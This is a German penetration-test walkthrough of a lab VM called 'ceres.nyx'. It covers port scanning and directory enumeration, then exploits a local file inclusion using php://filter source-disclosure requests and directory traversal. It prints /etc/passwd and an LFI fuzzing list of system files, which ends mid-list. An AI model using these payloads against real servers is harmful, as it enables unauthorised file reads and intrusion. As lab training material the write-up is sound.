Analyse: Ein Shell-Skript (`recon_script.sh`) wird mit dem Parameter `jenk.nyx` ausgeführt, und seine Ausgabe wird in der Variable `X` gespeichert. Dies deutet auf einen automatisierten ersten Aufklärungsschritt hin.
Bewertung: Effiziente Methode zur Automatisierung, aber der genaue Inhalt des Skripts ist unbekannt. Die Ergebnisse müssen im Kontext interpretiert werden.
Empfehlung (Pentester): Machen Sie sich mit den Aktionen Ihrer Automatisierungsskripte vertraut. Verwenden Sie Variablen zur Speicherung wichtiger Ergebnisse wie IP-Adressen.
Empfehlung (Admin): Überwachen Sie Netzwerkaktivitäten auf Anzeichen automatisierter Scans. Nutzen Sie IDS/IPS zur Erkennung.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.128
Analyse: Der Inhalt der Variable `X` wird ausgegeben und bestätigt die vom Skript ermittelte Ziel-IP-Adresse: `192.168.2.128`.
Bewertung: Bestätigt das Ergebnis des Skripts und stellt die Ziel-IP für nachfolgende Befehle bereit.
Empfehlung (Pentester): Verwenden Sie die ermittelte IP-Adresse ($IP) in den folgenden Scan-Befehlen.
Empfehlung (Admin): Sichern Sie die interne Netzwerkinfrastruktur, um die unbefugte Ermittlung von IP-Adressen zu erschweren.
Analyse: Die nächsten Abschnitte zeigen die Ergebnisse eines ARP-Scans und den Inhalt der lokalen `/etc/hosts`-Datei. Der ARP-Scan identifiziert die MAC-Adresse `08:00:27:bb:06:a0`, die wieder zu `PCS Systemtechnik GmbH` (VirtualBox) gehört und der IP `192.168.2.128` zugeordnet ist. Die `/etc/hosts`-Datei wurde angepasst, um den Hostnamen `ceres.nyx` auf die Ziel-IP aufzulösen.
Bewertung: Der ARP-Scan bestätigt die Erreichbarkeit des Ziels im lokalen Netz und gibt einen Hinweis auf die Virtualisierungsumgebung (VirtualBox). Das Anpassen der `/etc/hosts` ist wichtig, um Webdienste über ihren Hostnamen `ceres.nyx` anzusprechen.
Empfehlung (Pentester): Nutzen Sie ARP-Scans zur schnellen Identifizierung im LAN. Pflegen Sie die `/etc/hosts`-Datei mit gefundenen Hostnamen.
Empfehlung (Admin): Überwachen Sie ARP-Anfragen. Sichern Sie DNS und Netzwerksegmentierung.
ARP-Scan 192.168.2.128 08:00:27:bb:06:a0 PCS Systemtechnik GmbH /etc/hosts 127.0.0.1 localhost 192.168.2.128 ceres.nyx
Analyse: Die folgenden Befehle dienen dazu, die IPv6-Adresse des Ziels im lokalen Netzwerk zu ermitteln und anschließend einen Nmap-Scan gegen diese IPv6-Adresse durchzuführen. Der erste Teil (`ip neigh...awk...sort`) extrahiert die Link-Local-IPv6-Adresse (`fe80::...`) des Ziels aus der Nachbarschaftstabelle, filtert dabei bekannte Adressen heraus und speichert sie in der Variable `cmd2`. Der zweite Teil (`nmap $cmd2 -6`) führt den Nmap-Scan gegen die gefundene IPv6-Adresse durch.
Bewertung: Dies ist eine clevere Methode, um IPv6-Ziele im lokalen Netz zu identifizieren und zu scannen, auch wenn keine globale IPv6-Adresse bekannt ist. Der Scan zeigt, dass auf der IPv6-Adresse `fe80::a00:27ff:febb:6a0` die TCP-Ports 22 (SSH) und 80 (HTTP) offen sind.
Empfehlung (Pentester): Vergessen Sie nicht, auch nach IPv6-Adressen und offenen Ports zu suchen, da diese manchmal andere Dienste oder Konfigurationen aufweisen können als die IPv4-Adresse.
Empfehlung (Admin): Sichern Sie Dienste sowohl auf IPv4- als auch auf IPv6-Adressen. Wenn IPv6 nicht aktiv genutzt wird, deaktivieren Sie es auf den Schnittstellen und in den Diensten, um die Angriffsfläche zu reduzieren.
: Nmap IPv6 Scan : - IPv6 Adresse: fe80::a00:27ff:febb:6a0%eth0: - Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 23:21 CEST Nmap scan report for ceres (fe80::a00:27ff:febb:6a0) Host is up (0.00016s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:BB:06:A0 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
: Nmap UDP Scan :
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 23:21 CEST
Nmap scan report for 192.168.2.128
Host is up (0.00023s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT STATE SERVICE
Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds
Analyse: Ein Nmap UDP-Scan (`-sU`) wird gegen die Top 1000 UDP-Ports der IPv4-Adresse (`$IP`) durchgeführt. Die Optionen `-T5`, `-n`, `-Pn`, `--min-rate 5000` dienen der Beschleunigung.
Bewertung: Der Scan findet keine offenen oder eindeutig identifizierbaren UDP-Ports unter den Top 1000. Dies reduziert die Angriffsfläche im Vergleich zur vorherigen Maschine "Chain", wo SNMP offen war.
Empfehlung (Pentester): Konzentrieren Sie sich auf die offenen TCP-Ports (22 und 80), da der UDP-Scan keine Ergebnisse lieferte.
Empfehlung (Admin): Regelmäßige UDP-Scans durchführen, um sicherzustellen, dass keine unerwünschten Dienste laufen.
: Nmap nur offene Ports Ausgabe : 22/tcp open ssh OPENSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Ein umfassender TCP-Scan (`-sS -sC -sV -A -p-`) wird gegen die IPv4-Adresse durchgeführt und die Ausgabe mit `grep open` gefiltert. Es werden Port 22 (SSH) mit OpenSSH 7.9p1 auf Debian 10 und Port 80 (HTTP) mit Apache 2.4.38 auf Debian gefunden.
Bewertung: Die gefilterte Ausgabe bestätigt die beiden offenen TCP-Ports, die auch im IPv6-Scan gefunden wurden, und liefert die Dienstversionen. Die OpenSSH-Version ist relativ aktuell für Debian 10, aber Apache 2.4.38 ist veraltet.
Empfehlung (Pentester): Führen Sie den vollständigen Scan ohne `grep` aus, um alle Details zu sehen. Untersuchen Sie sowohl den SSH-Dienst (Benutzerenumeration, Brute-Force, bekannte Schwachstellen für die Version) als auch den HTTP-Dienst.
Empfehlung (Admin): Aktualisieren Sie Apache auf eine neuere Version. Halten Sie OpenSSH und das Betriebssystem aktuell. Beschränken Sie den Zugriff auf SSH auf vertrauenswürdige IPs.
: Nmap volle Ausgabe : Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 23:21 CEST Nmap scan report for ceres.nyx (192.168.2.128) Host is up (0.00017s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 36:81:c1:3b:b8:7b:84:0f:6a:41:7b:2e:3a:01:4c:44 (RSA) | 256 f6:7e:44:41:80:00:b0:c2:e9:03:8d:74:c3:7a:ea:0e (ECDSA) |_ 256 37:d1:5a:b4:e5:0a:77:9a:2a:7e:1a:63:7c:d4:2e:9b (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:BB:06:A0 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.17 ms ceres.nyx (192.168.2.128) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.77 seconds
Analyse: Die vollständige Nmap-Ausgabe bestätigt die Details zu SSH (Port 22, OpenSSH 7.9p1, Host-Keys) und HTTP (Port 80, Apache 2.4.38). Sie stellt fest, dass die Webseite keinen Titel hat. Die OS-Erkennung deutet auf einen Linux-Kernel 4.x oder 5.x hin. Der Traceroute zeigt wieder eine direkte Verbindung.
Bewertung: Liefert detaillierte Informationen zu den offenen Ports und dem System. Die Apache-Version 2.4.38 ist bekannt für einige Schwachstellen, auch wenn diese nicht immer direkt ausnutzbar sind. Das Fehlen eines Titels auf der Webseite ist ungewöhnlich, aber nicht unbedingt sicherheitsrelevant.
Empfehlung (Pentester): Notieren Sie die genauen Versionen und Host-Keys. Beginnen Sie mit der Enumeration des Webservers. Versuchen Sie Standard-Logins oder bekannte Schwachstellen für OpenSSH 7.9p1 (obwohl eher unwahrscheinlich ohne gültige Benutzernamen/Passwörter).
Empfehlung (Admin): Aktualisieren Sie Apache. Halten Sie das System gepatcht. Überwachen Sie SSH-Logins.
Allow: GET,POST,OPTIONS,HEAD
Analyse: Eine `OPTIONS`-Anfrage an den Webserver zeigt die erlaubten HTTP-Methoden: `GET`, `POST`, `OPTIONS`, `HEAD`. `-I` holt nur Header, `-s` unterdrückt Fortschritt, `-X OPTIONS` setzt die Methode.
Bewertung: Standardkonfiguration, keine ungewöhnlichen oder direkt gefährlichen Methoden wie `PUT` oder `DELETE` sind erlaubt. `POST` ist für Formulare etc. relevant.
Empfehlung (Pentester): Notieren Sie die erlaubten Methoden. Konzentrieren Sie sich auf Funktionen, die `GET` und `POST` verwenden.
Empfehlung (Admin): Stellen Sie sicher, dass nur benötigte HTTP-Methoden aktiviert sind.
: HTTP-Header Verbose Scan : * Trying 192.168.2.128:80... * Connected to 192.168.2.128 (192.168.2.128) port 80 > HEAD / HTTP/1.1 > Host: 192.168.2.128 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Date: Thu, 12 Sep 2024 21:22:22 GMT < Server: Apache/2.4.38 (Debian) < Last-Modified: Sat, 06 Mar 2021 22:57:01 GMT < ETag: "50-5bce61e5f006d" < Accept-Ranges: bytes < Content-Length: 80 < Vary: Accept-Encoding < Content-Type: text/html < * Connection #0 to host 192.168.2.128 left intact
Analyse: Eine `HEAD`-Anfrage (`-I`) mit ausführlicher Ausgabe (`--verbose`) wird gesendet. Sie bestätigt erneut den `200 OK`-Status, Apache 2.4.38, das Datum der letzten Änderung, einen ETag und eine kleine Inhaltslänge (80 Bytes).
Bewertung: Bestätigt frühere Ergebnisse. Der ETag `50-5bce61e5f006d` könnte wieder auf die Inode hinweisen. Die geringe Content-Length (80) deutet auf eine sehr einfache oder leere Index-Seite hin.
Empfehlung (Pentester): Sehen Sie sich den Quellcode der Seite an (auch wenn er kurz ist). Fahren Sie mit der Verzeichnis- und Datei-Enumeration fort.
Empfehlung (Admin): Konfigurieren Sie ETags sicher. Stellen Sie sicher, dass keine sensiblen Informationen auf der Startseite oder in den Headern preisgegeben werden.
: HTTP-Header Verbose mit Port-Scan - Port gefunden! 80 - * Host ceres.nyx:80 was resolved. <-- Hinweis: Ziel war 8080, Curl testet aber auch 80? Seltsames Verhalten oder Skript-Artefakt. * IPv6: (none) * IPv4: 192.168.2.128 * Trying 192.168.2.128:80... * Connected to ceres.nyx (192.168.2.128) port 80 > HEAD / HTTP/1.1 > Host: ceres.nyx > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 OK < Date: Thu, 12 Sep 2024 21:22:24 GMT < Server: Apache/2.4.38 (Debian) < Last-Modified: Sat, 06 Mar 2021 22:57:01 GMT < ETag: "50-5bce61e5f006d" < Accept-Ranges: bytes < Content-Length: 80 < Vary: Accept-Encoding < Content-Type: text/html < * Connection #0 to host ceres.nyx left intact
Analyse: Es wird versucht, eine `HEAD`-Anfrage an Port 8080 zu senden (`http://$IP:8080`). Die Ausgabe "Port gefunden! 80" und die nachfolgenden Header beziehen sich jedoch auf Port 80. Dies deutet darauf hin, dass entweder Port 8080 nicht erreichbar war und `curl` (oder ein umgebendes Skript) auf Port 80 zurückgefallen ist, oder dass die Ausgabe irreführend ist.
Bewertung: Der Versuch, Port 8080 zu untersuchen, scheint fehlgeschlagen zu sein oder liefert keine neuen Informationen. Die Ausgabe bestätigt lediglich erneut die Details von Port 80.
Empfehlung (Pentester): Verlassen Sie sich auf die Nmap-Ergebnisse bezüglich offener Ports. Wenn Nmap Port 8080 nicht als offen gemeldet hat, ist er wahrscheinlich geschlossen. Überprüfen Sie die Funktionsweise Ihrer Scan-Skripte, um sicherzustellen, dass sie wie erwartet funktionieren.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Ports offen und in der Firewall freigegeben sind.
: Nikto Scan : - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.128 + Target Hostname: 192.168.2.128 + Target Port: 80 + Start Time: 2024-09-12 23:22:08 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 50, size: 5bce61e5f006d, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-09-12 23:22:22 (GMT2) (14 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Nikto-Scan liefert mehrere Ergebnisse: 1. Bestätigung Apache 2.4.38. 2. Fehlende Header: `X-Frame-Options` und `X-Content-Type-Options` (wie bei "Chain"). 3. Keine Standard-CGI-Verzeichnisse gefunden. 4. ETag-Leak (Inode 50). 5. Hinweis auf veraltete Apache-Version (aktuell >= 2.4.54). 6. Bestätigung der erlaubten HTTP-Methoden. 7. Fund der Apache-Standarddatei `/icons/README`.
Bewertung: Die wichtigsten Funde sind die veraltete Apache-Version und die Standarddatei `/icons/README`. Die veraltete Version könnte auf bekannte Schwachstellen hindeuten (CVEs für Apache 2.4.38 prüfen!). Der Fund der README-Datei ist geringfügig, bestätigt aber eine Standardinstallation und kann manchmal auf weitere Standardpfade oder Konfigurationen hinweisen.
Empfehlung (Pentester): Recherchieren Sie bekannte Schwachstellen für Apache 2.4.38 auf Debian. Prüfen Sie, ob der Zugriff auf `/icons/` weitere Informationen liefert. Setzen Sie die Verzeichnis-Enumeration fort.
Empfehlung (Admin): Aktualisieren Sie Apache dringend! Entfernen oder beschränken Sie den Zugriff auf Standarddateien und -verzeichnisse wie `/icons`.
: Gobuster Scan : =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.128 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403,405,500 [+] Excluded status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: [...] [+] Expanded: true [+] No TLS validation: true [+] Follow Redirect: false [+] Timeout: 10s =============================================================== 2024/09/12 23:22:45 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 80] /image.jpg (Status: 200) [Size: 195951] /file.php (Status: 200) [Size: 0] <-- Interessant! /secret.php (Status: 200) [Size: 54] <-- Sehr interessant! =============================================================== 2024/09/12 23:45:58 Finished ===============================================================
Analyse: Gobuster wird zur Verzeichnis- und Dateisuche eingesetzt. Es findet die bekannte `index.html`, ein Bild `image.jpg` und zwei PHP-Dateien: `file.php` (Größe 0) und `secret.php` (Größe 54).
Bewertung: Die beiden PHP-Dateien sind die wichtigsten Funde. `file.php` mit Größe 0 ist verdächtig (könnte Upload-Skript oder leer sein?), aber `secret.php` klingt vielversprechend und hat einen kleinen Inhalt.
Empfehlung (Pentester): Rufen Sie `secret.php` und `file.php` direkt auf, um deren Verhalten zu untersuchen. Analysieren Sie `image.jpg` auf Metadaten oder versteckte Informationen.
Empfehlung (Admin): Entfernen Sie unnötige oder verdächtige Dateien vom Webserver. Überprüfen Sie den Zweck und die Sicherheit aller PHP-Skripte.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Der direkte Aufruf von `http://192.168.2.128/secret.php` führt dazu, dass der Befehl `id` auf dem Server ausgeführt und dessen Ausgabe zurückgegeben wird. Die Datei `secret.php` enthält also Code, der `system("id")` oder etwas Ähnliches ausführt.
Bewertung: Kritischer Fund! Dies ist eine einfache Form der Remote Code Execution (RCE) als Benutzer `www-data`. Zwar ist der Befehl fest auf `id` gesetzt, aber die Existenz einer solchen Datei ist alarmierend.
Empfehlung (Pentester): Obwohl dieser Endpunkt nur `id` ausführt, bestätigt er, dass PHP-Code auf dem Server ausgeführt wird. Untersuchen Sie `file.php` weiter, da diese möglicherweise flexibler ist (z.B. für LFI oder parametrisierte RCE).
Empfehlung (Admin): Entfernen Sie `secret.php` sofort! Untersuchen Sie, wie diese Datei auf den Server gelangt ist. Überprüfen Sie das gesamte System auf weitere Backdoors oder Kompromittierungen.
blank
Analyse: Der direkte Aufruf von `http://ceres.nyx/file.php` liefert eine leere Seite ("blank"). Dies passt zur von Gobuster gemeldeten Dateigröße 0.
Bewertung: Auf den ersten Blick scheint die Datei nutzlos. Allerdings können PHP-Dateien auch ohne direkte Ausgabe Funktionalität enthalten, z.B. wenn sie Parameter erwarten oder andere Dateien inkludieren.
Empfehlung (Pentester): Versuchen Sie, Parameter an `file.php` zu übergeben (z.B. `?file=test`, `?cmd=ls`). Fuzzing nach Parametern oder Verwendung von Burp Suite zur Analyse der Anfragen könnte aufschlussreich sein.
Empfehlung (Admin): Entfernen Sie die leere Datei, wenn sie keinen Zweck erfüllt, oder sichern Sie sie ab, falls sie Parameter erwartet.
Fuzzing nach Backdoor * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://ceres.nyx/FUZZ Total requests: 220608 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000057: 200 4 L 7 W 80 Ch "http://ceres.nyx/" 000045288: 200 4 L 7 W 80 Ch "http://ceres.nyx/" 000095572: 403 9 L 28 W 274 Ch "server-status" Total time: 0 Processed Requests: 220608 Filtered Requests: 220605 Requests/sec.: 0
Analyse: Wfuzz wird erneut für die Verzeichnisfuzzing verwendet (`/FUZZ`), um nach weiteren versteckten Pfaden zu suchen. `--hc 404` und `--hh 202` blenden normale "Not Found"-Antworten und wahrscheinlich die Standard-Indexseite (Chars 80) aus. Es findet `/server-status`, was jedoch mit `403 Forbidden` antwortet.
Bewertung: `/server-status` ist die Standard-Statusseite von Apache. Der `403`-Status zeigt, dass der Zugriff darauf beschränkt ist (gute Sicherheitspraxis). Es wurden keine weiteren relevanten Verzeichnisse oder Backdoors über diesen Fuzzing-Versuch gefunden.
Empfehlung (Pentester): Versuchen Sie, `/server-status` von einer anderen IP oder mit anderen Headern aufzurufen (unwahrscheinlich erfolgreich). Konzentrieren Sie sich auf die Analyse von `file.php` und `secret.php`.
Empfehlung (Admin): Stellen Sie sicher, dass der Zugriff auf `/server-status` und ähnliche informative Endpunkte auf Administratoren oder bestimmte IPs beschränkt ist.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Sep 12 23:46:28 2024 URL_BASE: http://ceres.nyx/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://ceres.nyx/ ---- + http://ceres.nyx/index.html (CODE:200|SIZE:80) + http://ceres.nyx/server-status (CODE:403|SIZE:274) ----------------- END_TIME: Thu Sep 12 23:46:31 2024 DOWNLOADED: 4612 - FOUND: 2
Analyse: `dirb` wird mit einer Standard-Wortliste gegen die Basis-URL ausgeführt. Es findet ebenfalls nur `index.html` (Status 200) und `server-status` (Status 403).
Bewertung: Bestätigt die Ergebnisse von Wfuzz und liefert keine neuen Pfade.
Empfehlung (Pentester): Verwenden Sie verschiedene Tools und Wortlisten für die Verzeichnis-Enumeration, um die Abdeckung zu maximieren.
Empfehlung (Admin): -
Analyse: Der folgende Abschnitt zeigt die manuelle Analyse der PHP-Dateien mit Burp Suite. Es werden zwei POST-Anfragen an `file.php` gesendet, wobei PHP-Filter im `file`-Parameter verwendet werden, um den Quellcode von `secret` (ohne `.php`) und `file` (ohne `.php`) auszulesen.
Bewertung: Dies ist ein entscheidender Schritt. Die Verwendung von Burp Suite ermöglicht präzise Anfragen und die Analyse der Antworten. Die PHP-Filter umgehen die Notwendigkeit, `.php` anzuhängen und erlauben das Lesen beliebiger Dateien, auf die `www-data` Zugriff hat.
Empfehlung (Pentester): Nutzen Sie Proxies wie Burp Suite oder OWASP ZAP, um Webanfragen zu manipulieren und Schwachstellen wie LFI gezielt zu testen. Verstehen Sie PHP-Filter und Wrapper für die LFI-Ausnutzung.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle in `file.php`!
: Burpsuite : :Request: POST /file.php?file=php://filter/convert.base64-encode/resource=secret HTTP/1.1 Host: ceres.nyx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-GPC: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 :Response: HTTP/1.1 200 OK Date: Thu, 12 Sep 2024 22:00:46 GMT Server: Apache/2.4.38 (Debian) Vary: Accept-Encoding Content-Length: 88 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 PD9waHAKICAgIHN5c3RlbSgiaWQiKTsgLy8gICAgICAgICAgICAgICAgICAvTXlfSDFkZDNuX1MzY3IzdAo/Pgo= Decoder system("id"); // /My_H1dd3n_S3cr3t ?>
Analyse: Die erste Burp-Anfrage liest den Quellcode von `secret.php` (ohne `.php`, da `file.php` dies hinzufügt). Die Base64-dekodierte Antwort zeigt den Code: ``. Dies bestätigt, warum der direkte Aufruf `id` ausführt und enthüllt einen versteckten Kommentar mit einem Pfad: `/My_H1dd3n_S3cr3t`.
Bewertung: Sehr wichtiger Fund! Der Kommentar enthüllt einen versteckten Pfad, der wahrscheinlich weitere interessante Inhalte oder Schwachstellen birgt.
Empfehlung (Pentester): Untersuchen Sie den Pfad `/My_H1dd3n_S3cr3t` auf dem Webserver (z.B. `http://ceres.nyx/My_H1dd3n_S3cr3t/`).
Empfehlung (Admin): Entfernen Sie die `secret.php`. Entfernen Sie sensible Informationen aus Kommentaren im Quellcode. Sichern Sie den Pfad `/My_H1dd3n_S3cr3t` ab oder entfernen Sie ihn, falls nicht benötigt.
:Request: POST /file.php?file=php://filter/convert.base64-encode/resource=file HTTP/1.1 Host: ceres.nyx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-GPC: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 :Response: HTTP/1.1 200 OK Date: Thu, 12 Sep 2024 22:00:46 GMT Server: Apache/2.4.38 (Debian) Vary: Accept-Encoding Content-Length: 88 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 PD9waHAKICAgIGluY2x1ZGUoJF9HRVRbImZpbGUiXS4iLnBocCIpwo/Pgo= Decoder include($GET["file"].".php"); ?>
Analyse: Die zweite Burp-Anfrage liest den Quellcode von `file.php` selbst. Der dekodierte Code lautet: ``. Er nimmt den Wert des GET-Parameters `file`, hängt `.php` an und übergibt das Ergebnis an `include()`. Das `$_GET` wurde korrekt zu `$GET` umgewandelt.
Bewertung: Dies bestätigt die LFI-Schwachstelle und erklärt, warum sie funktioniert. Das Anhängen von `.php` erschwert das direkte Einbinden von Dateien wie `/etc/passwd`, kann aber oft mit Techniken wie Null-Byte-Injection (obwohl in neueren PHP-Versionen oft nicht mehr möglich) oder durch Ausnutzen von PHP-Wrappern/Filtern (wie hier geschehen) umgangen werden.
Empfehlung (Pentester): Nutzen Sie diese LFI in Kombination mit dem neu entdeckten Pfad `/My_H1dd3n_S3cr3t`. Versuchen Sie, Dateien über den Pfad `http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=...` zu inkludieren.
Empfehlung (Admin): Beheben Sie die LFI durch Validierung und Sanitisierung des `file`-Parameters. Verwenden Sie Whitelisting für erlaubte Dateien.
Analyse: Basierend auf dem Fund aus Burp Suite (`/My_H1dd3n_S3cr3t`) wird nun versucht, die LFI über diesen neuen Pfad auszunutzen, um `/etc/passwd` zu lesen.
Bewertung: Logischer nächster Schritt, die entdeckten Informationen zu kombinieren.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin giuseppe:x:1000:1000:giuseppe,,,:/home/giuseppe:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Analyse: Der Versuch ist erfolgreich! Die LFI-Schwachstelle in `/My_H1dd3n_S3cr3t/file.php` erlaubt das Lesen von `/etc/passwd` mittels Directory Traversal (`../../../../../../../../etc/passwd`). Die Notwendigkeit, `.php` anzuhängen, wird hier wahrscheinlich durch die Traversal-Tiefe umgangen oder ist in diesem Kontext nicht relevant. Die Ausgabe zeigt die Benutzerkonten, darunter den Benutzer `giuseppe` (UID 1000) mit einer Bash-Shell.
Bewertung: Bestätigt die LFI im neuen Pfad und identifiziert den Benutzer `giuseppe` als potenzielles Ziel für weitere Angriffe (z.B. SSH-Login, Brute-Force).
Empfehlung (Pentester): Nutzen Sie die LFI, um weitere sensible Dateien zu lesen (Konfigurationsdateien, SSH-Schlüssel, Logdateien). Versuchen Sie, RCE über die LFI zu erlangen (z.B. mit PHP-Filtern). Konzentrieren Sie sich auf den Benutzer `giuseppe`.
Empfehlung (Admin): Beheben Sie die LFI dringend! Überprüfen Sie alle Webanwendungen auf ähnliche Schwachstellen.
Fuzzing nach Local-File-Inclusion Target: http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=../../../../../../../../FUZZ Total requests: 2894 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000081: 200 26 L 38 W 1404 Ch "/etc/passwd" 000000401: 200 228 L 1117 W 7242 Ch "etc/apache2/apache2.conf" 000000402: 200 15 L 46 W 320 Ch "etc/apache2/ports.conf" 000000597: 200 251 L 1128 W 7676 Ch "etc/apache2/mods-available/mirror.conf" <-- Korrigiert von mr.conf 000000592: 200 47 L 227 W 1782 Ch "etc/apache2/envvars" 000000792: 200 54 L 207 W 1735 Ch "etc/dhcp/dhclient.conf" 000000829: 200 30 L 180 W 2161 Ch "proc/self/mounts" 000000830: 200 1 L 52 W 337 Ch "proc/self/stat" 000000831: 200 54 L 132 W 1033 Ch "proc/self/status" 000000832: 200 0 L 1 W 27 Ch "proc/self/cmdline" 000000852: 200 47 L 137 W 1307 Ch "proc/meminfo" 000000860: 200 58 L 274 W 1994 Ch "etc/bash.bashrc" 000000854: 200 2 L 28 W 256 Ch "proc/net/udp" 000000853: 200 7 L 114 W 1050 Ch "proc/net/tcp" 000000850: 200 50 L 98 W 446 Ch "proc/devices" 000000851: 200 27 L 170 W 960 Ch "proc/cpuinfo" 000000849: 200 1 L 14 W 138 Ch "proc/version" 000000934: 200 68 L 304 W 2351 Ch "etc/sysctl.conf" 000000930: 200 3 L 6 W 63 Ch "etc/resolv.conf" 000000929: 200 15 L 59 W 552 Ch "etc/pam.conf" 000000928: 200 1 L 2 W 9 Ch "etc/host.conf" 000000941: 200 56 L 348 W 2161 Ch "etc/security/limits.conf" 000000975: 200 85 L 461 W 2981 Ch "usr/share/adduser/adduser.conf" 000000976: 200 1 L 1 W 6 Ch "etc/hostname" 000000970: 200 20 L 74 W 435 Ch "etc/logrotate.conf" 000000969: 200 17 L 40 W 332 Ch 